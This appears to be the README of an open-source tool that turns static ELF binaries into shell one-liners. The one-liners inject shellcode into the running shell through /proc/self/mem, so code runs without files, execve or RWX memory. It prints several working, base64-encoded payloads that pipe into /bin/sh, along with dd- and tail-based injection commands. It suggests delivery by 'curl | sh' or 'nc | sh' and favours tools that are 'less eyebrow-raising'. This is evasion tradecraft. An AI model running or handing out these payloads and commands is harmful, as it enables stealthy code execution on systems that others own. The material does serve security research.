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A stealthy ELF loader - no files, no execve, no RWX (currently only supporting x86_64)

See also: arget13/DDexec, which is a similar idea to this but probably more flexible - I wrote most of stelf-loader before I realised that DDexec existed (oops!)

Here's a simple "hello world" ELF (test_elfs/syscall-static-pie.c), packed using stelf-loader:

$ python3 elf_to_stelf.py test_elfs/syscall-static-pie - -r
#!/bin/sh

read a </proc/self/syscall
exec 3>/proc/self/mem 4<<EOF 5>/dev/null
A
EOF
cat /dev/fd/4 >&5
tail -c+$(($(echo $a|cut -d\  -f9)+1)) <&3 2>&5
base64 -d<<EOF|gunzip >/dev/fd/4 &
H4sIAMd7+mMC/+3ZP0vDQBjH8SdtEkqX9B30dG6pHQQH/y1KBhdfQkkjBgKKCYiTr6DQd+Bb6Fg6
qODgu3Bz0L2z5pqeXASLi6jw/Qx5eH7ccwe3HenfT5rhaGceiNxKS2TmiEjg9cv4qW1iz44feyYW
O57smbi+iF9uivExAAAAAAD4bdcHR4c1Rz/6S3XZlUXXKvv9ZR6qjyVFtiV+8XWL1XqtK18bO9Vq
9tWtZ/Wf67pUqz3n2vspWc2a8+31G9XalWo1czUzZ47rrT6usazHz/nQl+9rCAAAAAAAP2eqH8Z3
+jPr6Gf+aPO1rf/dT7eLrv8WeA/cEQAAAAAAAAAAAAAAf10Yp+lZR2X5IE+i7nkSqzg9UZdJfqqG
yUUc5Sq7yqJBmmZrTW4LAAAAAID/6R2QbjDaAFAAAA==
EOF
base64 -d<<EOF >&3
McCwCTH/vgBQAAAx0rIDTTHSQbIiTTHASffQTTHJDwVJicdJifZIifJIicYx/0C3BDHADwVIhcB4
90gBxkgpwnXvMcCwCkyJ/0yJ9jHSsgUPBUH/5w==
EOF

Or, as a more copy-pasteable one-liner:

echo H4sIAPoum2QC/1VSXY+iQBB851fwsDEashm+lcQ1AVEBvVMEBMm94DCDg6h8iUL2x5/rXS63/VJJVXVXJ90limI6oscgL68QVCjDoGorGGUZhR4I0sLkP+WMzrQ4Hs/Wc1qagBg14HJ7GlXqyVAwqukXh2MgTnoSVUcko98h89bvv/URPF7pt+gT3mr6Pf5F0+9YGTDcYDDuCTT/Ze8fogrJ4lN9JXwmt0tH8sHk38weZYiVqW6utzNvTwEjhBu20W0tNUZOXM9ORaBoAhsv5NywbQO03FI7xtg+nVItWS6ne+KWsm7HjHaQ54lMFWs9uQlax674TsoLFKjOisjpHdgPCRlDCO9IMNAFu1J5jBYQkZ+PpcO7ZzJLEwU2YuFzpBNFjNq9T62lYXU+EIbMlRtpZg/1Vbp4iKGxFSG37YDsCEGYeUGwbBol3MpF2u7mNdkxo8BfcUFRL7nRYa3sCkqp/ToEPpaHuVd0woVvqtyHfDRiBG6hBFHmXznYeV0oDsvSlW9V1BkduNgZo5TTP8nqhkeFMQoFikk3pbzATLRZcyUGsTtEq7IZ+UgFcGar3wpz7D5nsnDLB5I5Y8jwcnKKLlG8MLZwUSyo1vOg5BTDtrC08zksXV9cvTpNHchb3j6keqTOv4iPj9dTfL/ppCdQP+D0PnUN0CTaV/qDLU3ddQ3HPpjkiaqDsf1ES7/vLAJji+DQJNgyCdw/ADsVNN1Qn5p5hJpIKWyiPU5Jfr8EzWvwqbUA21pKajhV4m00zwDS/e8uvwGGMkYO6wIAAA==|base64 -d|gunzip|/bin/sh

You could put this in a file and execute it, but that would slightly defeat the purpose (of being file-less). The intended usage scenario is to paste it directly into a terminal, or perhaps even curl | sh or nc | sh. The aim is to be as portable as possible between different shell implementations. So far I've tested it against bash, zsh, dash, and busybox ash.

This implementation currently relies on some hand-written x86-64 shellcode, but the general approach should be applicable cross-architecture.

It works on both static and static-pie ELFs. However, dynamic ELFs are out of scope for this project.

static-pie ELFs are recommended, to ensure that the address space does not collide with that of the loader process.

Shell-based self-injecting shellcode loader

This technique has a slightly complicated history, with some "multiple discovery" going on - multiple people working independently had similar ideas, with improvements over time. I will try to present the concepts in chronological order, with attribution where possible.

Before ASLR/PIE was widely implemented, somebod{y,ies} realised that the dd binary could be used to inject code into its own address space, by writing to /proc/self/mem, making use of the seek argument to seek to the correct offset within the mem file to point into some executable code, which would subsequently be executed.

An example of this can be seen in brainsmoke's tweet here:

base64 -d<<<aExPTApUXmoEagFqAl9YWg8F|dd seek=1 bs=$((`objdump -d /*/dd|grep ll.*\<w|sed 's/\([0-9a-f]\+\):.*/0x\1+5/'`)) of=/proc/self/mem

Parallel idea 1:

To account for PIE, brainsmoke came up with the idea of injecting into the shell process, as opposed to dd itself. Since the shell process stays running for the duration, we can dynamically "leak" pointers from various /proc/<pid>/* entries, and use that to know where to inject the code, thus "bypassing" ASLR. dd does not have permission to open the parent shell's mem file, and so clever fd redirection was used to get the shell itself to open the fd, to be passed into dd.

Example (source)

cd /proc/$$;exec 3>mem;(base64 -d<<<MdtoL2JpbkiJ54FvBNGMl/9qLcZH+WNIieBTSIni6w5QSI1ADVBIieaNQzsPBejt////L2Jpbi9iYXNoAADrwA==;yes $'\xeb\xfc'|tr -d '\n')|dd bs=1 seek=$((0x$(grep vdso -m1 maps|cut -f1 -d-)))>&3

Parallel idea 2:

Independently, arget13 had the idea of using dd to do something similar to the base technique which he called DDexec. However, not realising that mem allows writing to read-only pages, he came up with a wonderfully complex mechanism for injecting a ROP payload, all implemented through shell scripting (Edit: I might have been getting my wires crossed here, thinking of Cexigua - I need to revisit this).

Parallel idea 3:

I was vaguely aware of brainsmoke's technique, having seen it mentioned on IRC several years prior. However, I couldn't remember how it worked exactly, and so I tried to reinvent it myself. I came up with this

dd of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) if=<(base64 -d<<<utz+IUO+aRkSKL+t3uH+McCwqQ8F) conv=notrunc

Rather than parsing objdump output to find a good place to inject, I read from /proc/<pid>/syscall and parsed out the value of the program counter register - which is inevitably pointing into some executable code.

As-is, this technique was suboptimal, since it requires dd to be allowed to open the mem file of the parent process (which only happens if dd is run as root, or Yama is disabled).

Merging of the streams

After I posted about my variant of the technique, brainsmoke pointed out his fd redirection trick, which I was able to incorporate back into my technique, giving the "best of both worlds" - no need for parsing objdump output, and no need for root or disabled Yama.

arget13 saw the conversation, and incorporated the syscall technique into his DDexec tool. He also ditched his complex ROP generation code in favour of directly overwriting executable code.

I wasn't aware of DDexec at the time, and I started writing my own tool along the same lines, which I called stelf-loader (this tool!) - but at this point in time I hadn't published it.

After writing most of stelf-loader, I found DDexec and facepalmed - it was basically everything I set out to do with stelf-loader, and more. However, stelf-loader still does something that DDexec doesn't - stelf-loader is written in Python as opposed to shell scripting, and instead generates shell scripts (or one-liners) as output. The generated shell scripts are potentially very compact and can be pasted directly into a terminal session, whereas DDexec requires the (relatively) large ddexec shell script to be dropped onto the system first (you could work around this, but it would still take up more space).

Around 12/12/2022, arget13 discovered that several other common utilities other than dd could be used to seek the file descriptor, one of those alternatives being tail. tail is of course more commonly installed and executed than dd, making the overall technique more portable and less eyebrow-raising.

After noticing this change to DDexec, I updated stelf-loader to also use tail for seeking.

In its current form, stelf-loader combines:

  • "The" /proc/<pid>/mem shellcode injection.
  • brainsmoke's fd redirection technique.
  • My own /proc/<pid>/syscall program counter "leak" technique.
  • arget13's tail-seeking technique (as a sneakier alternative to dd)

elf_to_shellcode.py

This is usable as a standalone script. It flattens a static ELF into a piece of shellcode. This is very similar to what gamozolabs/elfloader does, except it also generates a shellcode stub that sets up the correct page permissions. (If I was rewriting this project today, I'd use elfloader to do the ELF parsing, but writing my own was an interesting educational exercise.) This avoids needing RWX mappings.

elf_to_stelf.py

This script ties together all the aforementioned tricks. It takes a static-pie ELF as input, and outputs a (potentially extremely long) sequence of shell commands.

TODO

  • argv passthru
  • mmap and pivot to a fresh stack
  • add more options to elf_to_shellcode.py